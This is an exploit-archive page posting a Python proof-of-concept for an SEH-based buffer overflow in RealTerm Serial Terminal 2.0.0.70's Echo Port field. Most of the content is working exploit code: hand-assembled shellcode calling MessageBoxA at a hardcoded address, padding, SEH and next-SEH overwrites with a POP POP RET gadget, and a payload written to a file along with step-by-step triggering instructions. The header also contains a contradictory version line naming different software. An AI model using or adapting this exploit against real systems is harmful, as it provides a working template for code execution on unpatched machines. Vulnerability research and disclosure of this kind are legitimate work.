what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

RealTerm Serial Terminal 2.0.0.70 Echo Port Buffer Overflow

RealTerm Serial Terminal 2.0.0.70 Echo Port Buffer Overflow
Posted Feb 21, 2019
Authored by Matteo Malvica

RealTerm Serial Terminal version 2.0.0.70 suffers from an echo port buffer overflow vulnerability.

tags | exploit, overflow
SHA-256 | 801b86d255328b3fedc995c0bcbbcc29d2ca3f7b6e8522ecf7a4d5babd746c01

RealTerm Serial Terminal 2.0.0.70 Echo Port Buffer Overflow

Change Mirror Download
# Exploit Title: RealTerm: Serial Terminal 2.0.0.70 - 'Echo Port' Buffer Overflow - (SEH) 
# Date: 21.02.2019
# Exploit Author: Matteo Malvica
# Vendor Homepage: https://realterm.sourceforge.io/
# Software Link: https://sourceforge.net/projects/realterm/files/
# Version: 2.0.0.70
# Category: Local
# Contact: https://twitter.com/matteomalvica
# Version: CloudMe Sync 1.11.2
# Tested on: Windows 7 SP1 x64
# Originail PoC https://www.exploit-db.com/exploits/46391

# 1.- Run the python script it will create a new file "carbonara.txt"
# 2.- Copy the content of the new file 'carbonara.txt' to clipboard
# 3.- Open realterm.exe
# 4.- Go to 'Echo Port' tab
# 5.- Paste clipboard in 'Port' field
# 6.- Click on button -> Change
# 7.- Check 'Echo On' or
# 8.- Box!


import socket
import struct

'''
badchars: 0x20,0x0a
arwin.exe user32.dll MessageBoxA
arwin - win32 address resolution program - by steve hanna - v.01
MessageBoxA is located at 0x747cfdae in user32.dll
'''
shellcode = (
"\x33\xc0" # XOR EAX,EAX
"\x50" # PUSH EAX => padding for lpCaption
"\x68\x7a\x6f\x21\x21" # PUSH "zo!!"
"\x68\x61\x76\x61\x6e" # PUSH "avan"
"\x8B\xCC" # MOV ECX,ESP => PTR to lpCaption
"\x50" # PUSH EAX => padding for lpText
"\x68\x6e\x7a\x6f\x21" # PUSH "nzo!"
"\x68\x61\x76\x61\x21" # PUSH "ava!"
"\x8B\xD4" # MOV EDX,ESP => PTR to lpText
"\x50" # PUSH EAX - uType=0x0
"\x51" # PUSH ECX - lpCaption
"\x52" # PUSH EDX - lpText
"\x50" # PUSH EAX - hWnd=0x0
"\xBE\xae\xfd\x7c\x74" # MOV ESI,USER32.MessageBoxA <<< hardcoded address
"\xFF\xD6") # CALL ESI

pad1="\x90"*(142-len(shellcode))
pad2 = "\x42" * 118
nseh = "\xEB\x80\x90\x90"
jmp_back = "\xEB\x80\x90\x90"
short_jmp = "\xEB\x12\x90\x90"
seh = struct.pack('<L',0x00406e27) # 00406e27# POP POP RET
nops = "\x90\x90\x90\x90"
payload = pad1 + shellcode + nops + jmp_back + pad2 + nseh + seh


try:
f=open("carbonara.txt","w")
print "[+] Creating %s bytes pasta payload.." %len(payload)
f.write(payload)
f.close()
print "[+] Carbonara created!"

except:
print "Carbonara cannot be created"
Login or Register to add favorites

File Archive:

September 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    23 Files
  • 2
    Sep 2nd
    12 Files
  • 3
    Sep 3rd
    0 Files
  • 4
    Sep 4th
    0 Files
  • 5
    Sep 5th
    10 Files
  • 6
    Sep 6th
    8 Files
  • 7
    Sep 7th
    30 Files
  • 8
    Sep 8th
    14 Files
  • 9
    Sep 9th
    26 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    5 Files
  • 13
    Sep 13th
    28 Files
  • 14
    Sep 14th
    15 Files
  • 15
    Sep 15th
    17 Files
  • 16
    Sep 16th
    9 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    12 Files
  • 20
    Sep 20th
    15 Files
  • 21
    Sep 21st
    20 Files
  • 22
    Sep 22nd
    13 Files
  • 23
    Sep 23rd
    12 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    30 Files
  • 27
    Sep 27th
    27 Files
  • 28
    Sep 28th
    8 Files
  • 29
    Sep 29th
    14 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close